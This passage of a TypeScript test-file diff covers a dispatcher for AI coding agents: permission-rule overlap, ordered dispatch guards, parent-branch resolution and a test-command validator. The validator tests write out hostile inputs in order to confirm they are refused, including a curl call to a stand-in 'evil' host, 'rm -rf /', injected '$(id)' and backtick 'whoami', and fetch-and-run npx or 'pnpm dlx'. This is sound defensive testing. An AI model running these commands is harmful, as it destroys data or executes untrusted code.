+    assert.equal(denyWouldRevoke('Bash(pnpm test:*)', 'Bash(pnpm test:hooks x:*)'), true);
+    assert.equal(denyWouldRevoke('Bash(pnpm *)', 'Bash(pnpm --filter * test)'), true);
+  });
+
+  it('does not care that the grant carries a shell operator: a deny still matches it', () => {
+    assert.equal(denyWouldRevoke('Bash(git status:*)', 'Bash(git status && fd .:*)'), true);
+  });
+
+  it('is false when the prefix does not reach the grant at all', () => {
+    assert.equal(denyWouldRevoke('Bash(pnpm test:*)', 'Bash(pnpm --filter * test)'), false);
+    assert.equal(denyWouldRevoke('Edit(/etc/**)', 'Edit(./**)'), false);
+  });
+
+  it('a bare deny revokes every scoping of that tool; a scoped deny does not revoke a bare grant', () => {
+    assert.equal(denyWouldRevoke('Edit', 'Edit(./**)'), true);
+    assert.equal(denyWouldRevoke('Read(/etc/**)', 'Read'), false);
+  });
+});
+
+// T-7: measured 2026-09-07 (Claude Code 2.1.263, `claude -p` probes, `--setting-sources user`
+// with 0 allow rules, `--permission-mode dontAsk`, non-read-only `mkdir` commands). A Bash rule
+// combining a mid-rule `*` with a trailing `:*` matches NOTHING — the five frontier-lane rules
+// this shape used to describe (`Bash(pnpm --filter * test:*)` and its four siblings) were dead.
+describe('isDeadBashRule', () => {
+  it('flags a mid-rule * combined with a trailing :* suffix — the measured dead shape', () => {
+    assert.equal(isDeadBashRule('Bash(pnpm --filter * test:*)'), true);
+    assert.equal(isDeadBashRule('Bash(mkdir * end:*)'), true);
+  });
+
+  it('does not flag the exact-form / with-arguments glob pair the fix replaces it with', () => {
+    assert.equal(isDeadBashRule('Bash(pnpm --filter * test)'), false);
+    assert.equal(isDeadBashRule('Bash(pnpm --filter * test *)'), false);
+  });
+
+  it('does not flag an ordinary trailing :* rule with no mid-rule wildcard', () => {
+    assert.equal(isDeadBashRule('Bash(git status:*)'), false);
+    assert.equal(isDeadBashRule('Bash(openspec:*)'), false);
+  });
+
+  it('ignores non-Bash rules, including a bare tool rule and a path glob', () => {
+    assert.equal(isDeadBashRule('Read'), false);
+    assert.equal(isDeadBashRule('Edit(./**)'), false);
+  });
+});
+
+describe('findPermissionConflict', () => {
+  const laneGrants = ['Read', 'Edit(./**)', 'Bash(pnpm --filter * test)'];
+
+  // The shape that made this a finding: the settings rule is broader than the grant, the strict
+  // coverage predicate said "unrelated", and the launch denied it — revoking the grant.
+  it('reports a settings rule broader than a granted one as a conflict, in either spelling', () => {
+    assert.deepEqual(findPermissionConflict(projectRules('Bash(pnpm *)'), laneGrants), {
+      kind: 'broader',
+      rule: 'Bash(pnpm *)',
+      granted: 'Bash(pnpm --filter * test)',
+    });
+    assert.deepEqual(
+      findPermissionConflict(projectRules('Bash(pnpm test:*)'), ['Bash(pnpm test:hooks x:*)']),
+      {
+        kind: 'broader',
+        rule: 'Bash(pnpm test:*)',
+        granted: 'Bash(pnpm test:hooks x:*)',
+      },
+    );
+  });
+
+  // The case only the raw predicate catches: the project's `Bash(pnpm test:hooks:*)` is a raw prefix
+  // of a task whose declared command is `pnpm test:hooks-extra`, so denying it kills that grant —
+  // even though the extra text resumes mid-token and the strict coverage predicate reads the two
+  // rules as unrelated. Asked strictly in this direction, the launch emitted the deny.
+  it('reports a rule that only revokes a grant as a RAW prefix, mid-token included', () => {
+    assert.deepEqual(
+      findPermissionConflict(projectRules('Bash(pnpm test:hooks:*)'), [
+        'Bash(pnpm test:hooks-extra:*)',
+      ]),
+      {
+        kind: 'broader',
+        rule: 'Bash(pnpm test:hooks:*)',
+        granted: 'Bash(pnpm test:hooks-extra:*)',
+      },
+    );
+  });
+
+  it('is null when every rule is either covered or safely deniable', () => {
+    assert.equal(
+      findPermissionConflict(
+        projectRules('Bash(pnpm --filter aurora-back test:*)', 'Bash(fd:*)'),
+        laneGrants,
+      ),
+      null,
+    );
+  });
+});
+
+// ── Guard 2: Complex on local ─────────────────────────────────────────────────
+
+describe('evaluateGuards — guard 2: Complex on local', () => {
+  it('blocks tier:complex + lane:local', () => {
+    const task = baseTask({ tier: 'complex', lane: LANE.LOCAL });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'complex-on-local');
+      assert.match(result.comment, /frontier/i);
+    }
+  });
+
+  it('does not block tier:complex + lane:frontier', () => {
+    const task = baseTask({ tier: 'complex', lane: LANE.FRONTIER });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+});
+
+// ── Guard 3: dependencies (wait vs block) ─────────────────────────────────────
+
+describe('evaluateGuards — guard 3: dependencies', () => {
+  it('waits (requeues) when a known dependency is not yet Done', () => {
+    const board: Board = {
+      tasksById: {
+        'T-2': baseTask({ id: 'T-2', status: TASK_STATUS.IN_PROGRESS }),
+      },
+    };
+    const task = baseTask({ dependsOn: ['T-2'] });
+    const result = evaluateGuards(task, board, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'wait');
+    if (result.kind === 'wait') {
+      assert.equal(result.reason, 'dependency-not-done');
+    }
+  });
+
+  it('proceeds past guard 3 when every dependency is Done', () => {
+    const board: Board = {
+      tasksById: {
+        'T-2': baseTask({ id: 'T-2', status: TASK_STATUS.DONE }),
+      },
+    };
+    const task = baseTask({ dependsOn: ['T-2'] });
+    const result = evaluateGuards(task, board, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'launch');
+  });
+
+  it('blocks (does not requeue) an unresolvable dependency id', () => {
+    const task = baseTask({ dependsOn: ['T-does-not-exist'] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'unknown-dependency');
+      assert.match(result.comment, /dependencia desconocida/i);
+    }
+  });
+});
+
+// ── Guard 4: security path on local ───────────────────────────────────────────
+
+describe('evaluateGuards — guard 4: security path on local', () => {
+  it('blocks a local-lane task declaring a file under a security path', () => {
+    const securityFile = SECURITY_PATH_PATTERNS[0];
+    const task = baseTask({
+      lane: LANE.LOCAL,
+      filesToTouch: [`backend/src/${securityFile}foo.ts`],
+    });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'security-path-on-local');
+    }
+  });
+
+  it('does not block the same declared file on the frontier lane', () => {
+    const securityFile = SECURITY_PATH_PATTERNS[0];
+    const task = baseTask({
+      lane: LANE.FRONTIER,
+      filesToTouch: [`backend/src/${securityFile}foo.ts`],
+    });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+});
+
+// ── Guard 4b: a subtask's parent branch missing from the remote (T-14, 2026-09-08) ──
+//
+// T-4.1 measured the cost of NOT having this guard: the dispatcher branched a subtask off
+// `origin/main` because its parent's branch was not on the remote yet (`slots.ts`'s own silent
+// fallback), the worker finished correctly, and the close then failed `scope-check-failed` diffing
+// against a ref dispatch never created — a whole frontier run lost to a problem this guard now
+// catches before a slot is ever taken.
+//
+// Placed (and tested) AFTER guard 4 on purpose — see `checkParentBranchOnRemote`'s doc comment in
+// `guards.ts`: the security refusal must never be masked by an actionable-looking "push a branch"
+// message.
+
+describe("evaluateGuards — guard 4b: a subtask's parent branch missing from the remote", () => {
+  it('blocks a subtask whose parent branch is not on the remote, naming the missing branch', () => {
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+    ]);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-parent-branch');
+      assert.match(result.comment, /task\/T-4/);
+    }
+  });
+
+  it('launches a subtask whose parent branch IS on the remote', () => {
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+      'task/T-4',
+    ]);
+    assert.equal(result.kind, 'launch');
+  });
+
+  it('never checks the remote at all for a top-level task (no parentId)', () => {
+    const task = baseTask();
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'launch');
+  });
+
+  it('reports the missing parent branch AFTER an unmet dependency (guard 3 now runs first)', () => {
+    const board: Board = {
+      tasksById: { 'T-2': baseTask({ id: 'T-2', status: TASK_STATUS.TO_DO }) },
+    };
+    const task = baseTask({ parentId: 'T-4', dependsOn: ['T-2'] });
+    const result = evaluateGuards(task, board, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+    ]);
+    assert.equal(result.kind, 'wait');
+    if (result.kind === 'wait') {
+      assert.equal(result.reason, 'dependency-not-done');
+    }
+  });
+
+  // F5: the security refusal must never be masked by the missing-parent-branch message — a person
+  // fixing "push the branch" and re-queueing would otherwise only discover the REAL, unfixable
+  // (by them) refusal on the second attempt.
+  it('reports the security path before the missing parent branch, never the other way round', () => {
+    const securityFile = SECURITY_PATH_PATTERNS[0];
+    const task = baseTask({
+      lane: LANE.LOCAL,
+      filesToTouch: [`backend/src/${securityFile}foo.ts`],
+      parentId: 'T-4',
+    });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+    ]);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'security-path-on-local');
+    }
+  });
+
+  it('still reports the missing parent branch before the attempts-exhausted check', () => {
+    const task = baseTask({ parentId: 'T-4', attempts: 3 });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+    ]);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-parent-branch');
+    }
+  });
+
+  // T-15, acceptance criterion #2: a parent worked in an interactive session lives on a
+  // `feat/`/`fix/`/`refactor/` branch, never on `task/<id>` — its subtask must not stay blocked
+  // forever just because `task/T-4` itself was never created.
+  it("launches a subtask whose parent's DECLARED branch is on the remote, even though task/<parentId> is not", () => {
+    const board: Board = {
+      tasksById: {
+        'T-4': baseTask({ id: 'T-4', declaredBranch: 'fix/parent-branch-resolution' }),
+      },
+    };
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(task, board, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+      'fix/parent-branch-resolution',
+    ]);
+    assert.equal(result.kind, 'launch');
+  });
+
+  // T-15, acceptance criterion #3: the failure names the candidates found on the remote, not just
+  // the branch that was tried.
+  it('names the candidate remote branches in the block comment when the base is missing', () => {
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+      'wip-T-4-rescue',
+    ]);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-parent-branch');
+      assert.match(result.comment, /wip-T-4-rescue/);
+    }
+  });
+
+  it('says explicitly when no candidate branch was found either', () => {
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+    ]);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.match(result.comment, /ninguna rama/i);
+    }
+  });
+
+  // Fix round B4: before T-15, guard 4b never consulted the board at all, so a transient board-read
+  // failure could never affect it. Now it does — `tasksById[parentId]` is `undefined` both when the
+  // parent genuinely has no branch AND when THIS pass's `backlog task view <parentId>` simply threw
+  // (`dispatch.ts`'s `loadBoard` drops that task and reports the whole read `complete: false`). The
+  // two must not read the same: the first is a real, actionable block; the second must wait for a
+  // pass whose read succeeds, not instruct a person to push a branch that may already exist.
+  it('waits, never blocks, when the parent id is absent from an INCOMPLETE board read', () => {
+    const incompleteBoard: Board = { tasksById: {}, complete: false };
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(
+      task,
+      incompleteBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      ['main'],
+    );
+    assert.equal(result.kind, 'wait');
+  });
+
+  it('still blocks on a COMPLETE board when the parent genuinely cannot be resolved', () => {
+    const completeBoard: Board = { tasksById: {}, complete: true };
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(task, completeBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+    ]);
+    assert.equal(result.kind, 'block');
+  });
+
+  it('resolves normally on an incomplete board when the PARENT itself was read (only some other task failed)', () => {
+    const incompleteBoard: Board = {
+      tasksById: {
+        'T-4': baseTask({ id: 'T-4', declaredBranch: 'fix/parent-branch-resolution' }),
+      },
+      complete: false,
+    };
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(
+      task,
+      incompleteBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      ['main', 'fix/parent-branch-resolution'],
+    );
+    assert.equal(result.kind, 'launch');
+  });
+
+  it('defaults to "complete" when board.complete is omitted, unchanged from before this fix round', () => {
+    const boardWithNoCompleteField: Board = { tasksById: {} };
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(
+      task,
+      boardWithNoCompleteField,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      ['main'],
+    );
+    assert.equal(result.kind, 'block');
+  });
+});
+
+// ── Guard 5: attempts exhausted ────────────────────────────────────────────────
+
+describe('evaluateGuards — guard 5: attempts exhausted', () => {
+  it('blocks when attempts already reached the cap (3)', () => {
+    const task = baseTask({ attempts: 3 });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'attempts-exhausted');
+    }
+  });
+
+  it('does not block below the cap', () => {
+    const task = baseTask({ attempts: 2 });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+
+  // J4: the cap is `lanes.json`'s `attempts`, not a constant compiled into the module.
+  it('reads the cap from the injected limits, not from the module default', () => {
+    const limits = { ...DEFAULT_DISPATCH_LIMITS, maxAttempts: 5 };
+    const belowRaisedCap = evaluateGuards(
+      baseTask({ attempts: 3 }),
+      emptyBoard,
+      freeSlots(),
+      limits,
+      null,
+      [],
+    );
+    assert.notEqual(belowRaisedCap.kind, 'block');
+
+    const atRaisedCap = evaluateGuards(
+      baseTask({ attempts: 5 }),
+      emptyBoard,
+      freeSlots(),
+      limits,
+      null,
+      [],
+    );
+    assert.equal(atRaisedCap.kind, 'block');
+    if (atRaisedCap.kind === 'block') {
+      assert.equal(atRaisedCap.reason, 'attempts-exhausted');
+      assert.match(atRaisedCap.comment, /5 intentos/);
+    }
+  });
+});
+
+// ── Guard 6: no free slot ──────────────────────────────────────────────────────
+
+describe('evaluateGuards — guard 6: no free slot', () => {
+  it('waits (requeues) when the local lane cap (1) is already occupied', () => {
+    const busySlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.LOCAL,
+          taskId: 'T-9',
+          pid: 123,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-b',
+          path: '/slots/b',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-c',
+          path: '/slots/c',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+      ],
+    };
+    const task = baseTask({ lane: LANE.LOCAL });
+    const result = evaluateGuards(task, emptyBoard, busySlots, DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'wait');
+    if (result.kind === 'wait') {
+      assert.equal(result.reason, 'no-free-slot');
+    }
+  });
+
+  it('waits when both of the frontier lane slots (cap 2) are occupied', () => {
+    const busySlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.FRONTIER,
+          taskId: 'T-8',
+          pid: 1,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-b',
+          path: '/slots/b',
+          lane: LANE.FRONTIER,
+          taskId: 'T-9',
+          pid: 2,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-c',
+          path: '/slots/c',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+      ],
+    };
+    const task = baseTask({ lane: LANE.FRONTIER, tier: 'medium' });
+    const result = evaluateGuards(task, emptyBoard, busySlots, DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'wait');
+    if (result.kind === 'wait') {
+      assert.equal(result.reason, 'no-free-slot');
+    }
+  });
+
+  it('launches when a slot is free for the lane', () => {
+    const task = baseTask({ lane: LANE.LOCAL });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'launch');
+  });
+
+  // G15: "no free slot" and "your own work has not reached the remote yet" are different
+  // situations, and only the second one tells a reader why re-queueing changes nothing.
+  it('reports push-pending, not no-free-slot, when the task own slot is held for recovery', () => {
+    const heldSlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.LOCAL,
+          taskId: 'T-1',
+          pid: null,
+          lockfileHash: null,
+          heldForRecovery: true,
+        },
+        {
+          name: 'dispatch-b',
+          path: '/slots/b',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-c',
+          path: '/slots/c',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+      ],
+    };
+    const result = evaluateGuards(
+      baseTask({ id: 'T-1' }),
+      emptyBoard,
+      heldSlots,
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      [],
+    );
+    assert.deepEqual(result, { kind: 'wait', reason: 'push-pending' });
+  });
+
+  // J4: `lanes.json`'s `maxParallel` was dead config — the cap lived in a module constant, so
+  // raising it changed nothing. Raising it in the injected limits must change guard 6's outcome.
+  it('reads the per-lane cap from the injected limits, not from the module default', () => {
+    const busySlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.LOCAL,
+          taskId: 'T-9',
+          pid: 123,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-b',
+          path: '/slots/b',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+      ],
+    };
+    const task = baseTask({ lane: LANE.LOCAL });
+    assert.equal(
+      evaluateGuards(task, emptyBoard, busySlots, DEFAULT_DISPATCH_LIMITS, null, []).kind,
+      'wait',
+    );
+
+    const raised = {
+      ...DEFAULT_DISPATCH_LIMITS,
+      capacity: { ...DEFAULT_DISPATCH_LIMITS.capacity, local: 2 },
+    };
+    assert.equal(evaluateGuards(task, emptyBoard, busySlots, raised, null, []).kind, 'launch');
+  });
+
+  it('still reports no-free-slot when the held slot belongs to a DIFFERENT task', () => {
+    const heldSlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.LOCAL,
+          taskId: 'T-9',
+          pid: null,
+          lockfileHash: null,
+          heldForRecovery: true,
+        },
+        {
+          name: 'dispatch-b',
+          path: '/slots/b',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+      ],
+    };
+    const result = evaluateGuards(
+      baseTask({ id: 'T-1' }),
+      emptyBoard,
+      heldSlots,
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      [],
+    );
+    assert.deepEqual(result, { kind: 'wait', reason: 'no-free-slot' });
+  });
+});
+
+// ── Ordering: first matching guard wins ───────────────────────────────────────
+
+describe('evaluateGuards — evaluation order', () => {
+  it('reports missing triage even when the task would also fail a later guard', () => {
+    // Missing lane AND (incidentally) attempts exhausted — guard 1 must win.
+    const task = baseTask({ lane: undefined, attempts: 5 });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-triage');
+    }
+  });
+
+  // F6: guard 4b sits downstream of guard 1 (and 1b) — a task with NO triage at all must never
+  // reach `resolveTaskBase`, whatever its `parentId` or the live remote list say.
+  it('reports missing triage before the missing-parent-branch check, even for a subtask', () => {
+    const task = baseTask({ tier: undefined, parentId: 'T-4' });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-triage');
+    }
+  });
+
+  it('reports complex-on-local before checking dependencies', () => {
+    const task = baseTask({ tier: 'complex', lane: LANE.LOCAL, dependsOn: ['unknown'] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'complex-on-local');
+    }
+  });
+
+  it('reports the unmet dependency before the security-path check', () => {
+    const securityFile = SECURITY_PATH_PATTERNS[0];
+    const board: Board = {
+      tasksById: { 'T-2': baseTask({ id: 'T-2', status: TASK_STATUS.TO_DO }) },
+    };
+    const task = baseTask({
+      lane: LANE.LOCAL,
+      dependsOn: ['T-2'],
+      filesToTouch: [`backend/src/${securityFile}foo.ts`],
+    });
+    const result = evaluateGuards(task, board, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'wait');
+    if (result.kind === 'wait') {
+      assert.equal(result.reason, 'dependency-not-done');
+    }
+  });
+
+  it('reports the security path before the attempts-exhausted check', () => {
+    const securityFile = SECURITY_PATH_PATTERNS[0];
+    const task = baseTask({
+      lane: LANE.LOCAL,
+      filesToTouch: [`backend/src/${securityFile}foo.ts`],
+      attempts: 3,
+    });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'security-path-on-local');
+    }
+  });
+});
+
+// ── taskBaseBranch / resolveTaskBase: the resolution chain (T-14 → T-15) ─────────
+//
+// T-15: a subtask's base is DEDUCED no longer — `task/<parentId>` is only the FALLBACK once the
+// parent has declared no real branch (`Task.declaredBranch`, `task-view.ts`'s `parseDeclaredBranch`
+// reading the parent's own "Branch:" description line). A parent worked in an interactive session
+// lives on a `feat/`/`fix/`/`refactor/` branch per the root `CLAUDE.md`'s Worktree Gate, never on
+// `task/<id>` — this is the declaration that lets such a parent's subtasks dispatch at all.
+
+describe('taskBaseBranch', () => {
+  it("names a top-level task's base main, regardless of tasksById", () => {
+    assert.equal(taskBaseBranch({ parentId: undefined }, {}), 'main');
+  });
+
+  it("falls back to task/<parentId> when the parent declared no branch", () => {
+    assert.equal(taskBaseBranch({ parentId: 'T-4' }, {}), 'task/T-4');
+  });
+
+  it("falls back to task/<parentId> when the parent is not even in tasksById", () => {
+    assert.equal(
+      taskBaseBranch({ parentId: 'T-4' }, { 'T-9': { declaredBranch: 'feat/unrelated' } }),
+      'task/T-4',
+    );
+  });
+
+  it("uses the parent's DECLARED branch when it named one — never task/<parentId>", () => {
+    assert.equal(
+      taskBaseBranch(
+        { parentId: 'T-4' },
+        { 'T-4': { declaredBranch: 'fix/parent-branch-resolution' } },
+      ),
+      'fix/parent-branch-resolution',
+    );
+  });
+
+  it('treats an empty declared branch the same as no declaration at all', () => {
+    assert.equal(taskBaseBranch({ parentId: 'T-4' }, { 'T-4': { declaredBranch: '' } }), 'task/T-4');
+  });
+});
+
+describe('resolveTaskBase', () => {
+  it('a top-level task is always ok, regardless of the remote list', () => {
+    assert.deepEqual(resolveTaskBase({ parentId: undefined }, {}, []), {
+      kind: 'ok',
+      branch: 'main',
+    });
+  });
+
+  it("a subtask is ok when its parent's task/<id> branch is on the remote (no declaration)", () => {
+    assert.deepEqual(resolveTaskBase({ parentId: 'T-4' }, {}, ['main', 'task/T-4']), {
+      kind: 'ok',
+      branch: 'task/T-4',
+    });
+  });
+
+  it("a subtask is ok when its parent's DECLARED branch is on the remote", () => {
+    const tasksById = { 'T-4': { declaredBranch: 'fix/parent-branch-resolution' } };
+    assert.deepEqual(
+      resolveTaskBase({ parentId: 'T-4' }, tasksById, ['main', 'fix/parent-branch-resolution']),
+      { kind: 'ok', branch: 'fix/parent-branch-resolution' },
+    );
+  });
+
+  it("a subtask is missing-parent-branch when NEITHER the declared branch nor task/<id> is on the remote", () => {
+    const tasksById = { 'T-4': { declaredBranch: 'fix/parent-branch-resolution' } };
+    const result = resolveTaskBase({ parentId: 'T-4' }, tasksById, ['main']);
+    assert.equal(result.kind, 'missing-parent-branch');
+    if (result.kind === 'missing-parent-branch') {
+      assert.equal(result.branch, 'fix/parent-branch-resolution');
+    }
+  });
+
+  it('names candidate remote branches mentioning the parent id when the base is missing', () => {
+    const result = resolveTaskBase({ parentId: 'T-4' }, {}, ['main', 'wip-T-4-not-pushed-right']);
+    assert.equal(result.kind, 'missing-parent-branch');
+    if (result.kind === 'missing-parent-branch') {
+      assert.deepEqual(result.candidates, ['wip-T-4-not-pushed-right']);
+    }
+  });
+
+  it('reports no candidates when nothing on the remote mentions the parent id at all', () => {
+    const result = resolveTaskBase({ parentId: 'T-4' }, {}, ['main', 'task/T-9']);
+    assert.equal(result.kind, 'missing-parent-branch');
+    if (result.kind === 'missing-parent-branch') {
+      assert.deepEqual(result.candidates, []);
+    }
+  });
+
+  // The trap: `T-1` is a literal substring of `T-15`, `T-19`, `T-100`. A naive `includes` match
+  // would offer T-15's own branch as a "candidate" for T-1's missing base — actively misleading,
+  // since pushing T-1 onto that ref would branch it off a sibling subtask's unrelated work.
+  it('never proposes T-15\'s branch as a candidate for T-1 (whole-token id matching)', () => {
+    // T-15's own branch is on the remote, so resolving T-15 itself launches — nothing to prove
+    // there. The trap is on the OTHER side: T-1's base is missing, and T-15/T-19/T-100's branches
+    // (each containing "T-1" as a literal substring) sit on the remote as decoys.
+    const forT1 = resolveTaskBase({ parentId: 'T-1' }, {}, [
+      'main',
+      'wip-T-1-rescue',
+      'task/T-15',
+      'task/T-19',
+      'task/T-100',
+    ]);
+    assert.equal(forT1.kind, 'missing-parent-branch');
+    if (forT1.kind === 'missing-parent-branch') {
+      assert.deepEqual(forT1.candidates, ['wip-T-1-rescue']);
+    }
+  });
+
+  // The dotted-subtask continuation: `T-4.2` names a DIFFERENT task than `T-4`, so a candidate
+  // search for T-4 must not treat `T-4.2`'s branch as mentioning T-4.
+  it('does not treat a dotted subtask id (T-4.2) as mentioning its parent id (T-4)', () => {
+    const result = resolveTaskBase({ parentId: 'T-4' }, {}, ['main', 'task/T-4.2']);
+    assert.equal(result.kind, 'missing-parent-branch');
+    if (result.kind === 'missing-parent-branch') {
+      assert.deepEqual(result.candidates, []);
+    }
+  });
+
+  // Optional fix-round item: the candidate list is diagnostic only (it names branches for a PERSON
+  // to look at), so a lower-cased rescue branch is still worth surfacing.
+  it('matches the parent id case-insensitively, so a lower-cased rescue branch still surfaces', () => {
+    const result = resolveTaskBase({ parentId: 'T-4' }, {}, ['main', 'wip-t-4-rescue']);
+    assert.equal(result.kind, 'missing-parent-branch');
+    if (result.kind === 'missing-parent-branch') {
+      assert.deepEqual(result.candidates, ['wip-t-4-rescue']);
+    }
+  });
+});
+
+describe('resolveTestCommand', () => {
+  it('accepts a pnpm command and splits it into argv', () => {
+    assert.deepEqual(resolveTestCommand('pnpm --filter aurora-back test session.spec.ts'), {
+      kind: 'ok',
+      command: 'pnpm',
+      args: ['--filter', 'aurora-back', 'test', 'session.spec.ts'],
+    });
+  });
+
+  // G6: `npx` fetches and executes an arbitrary package from the registry. The repo convention is
+  // `pnpm --filter <pkg> test …`, so nothing legitimate needs it.
+  it('refuses npx: it would run whatever the declared package name resolves to', () => {
+    assert.deepEqual(resolveTestCommand('npx tsx --test scripts/backlog/close.test.ts'), {
+      kind: 'refused',
+      reason: TEST_COMMAND_REFUSED,
+    });
+  });
+
+  it('refuses any other binary — the task text is human input, not a shell', () => {
+    assert.deepEqual(resolveTestCommand('curl http://evil/x'), {
+      kind: 'refused',
+      reason: 'test command no permitido',
+    });
+  });
+
+  it('refuses a pnpm command carrying a shell metacharacter', () => {
+    assert.equal(resolveTestCommand('pnpm test && rm -rf /').kind, 'refused');
+    assert.equal(resolveTestCommand('pnpm test; echo hi').kind, 'refused');
+    assert.equal(resolveTestCommand('pnpm test `whoami`').kind, 'refused');
+    assert.equal(resolveTestCommand('pnpm test $(id)').kind, 'refused');
+  });
+
+  it('reports an undeclared command as absent, which is not a refusal', () => {
+    assert.deepEqual(resolveTestCommand(null), { kind: 'absent' });
+  });
+
+  // H6: `pnpm` as the first word was the WHOLE check, so `pnpm dlx <anything>` — the exact
+  // fetch-and-execute `npx` was refused for — passed, as did `pnpm add`, `pnpm exec` and a
+  // `--filter` value that was itself a flag. The second token has to be a test script.
+  for (const declared of [
+    'pnpm dlx some-package',
+    'pnpm exec rm -rf .',
+    'pnpm -C /somewhere test',
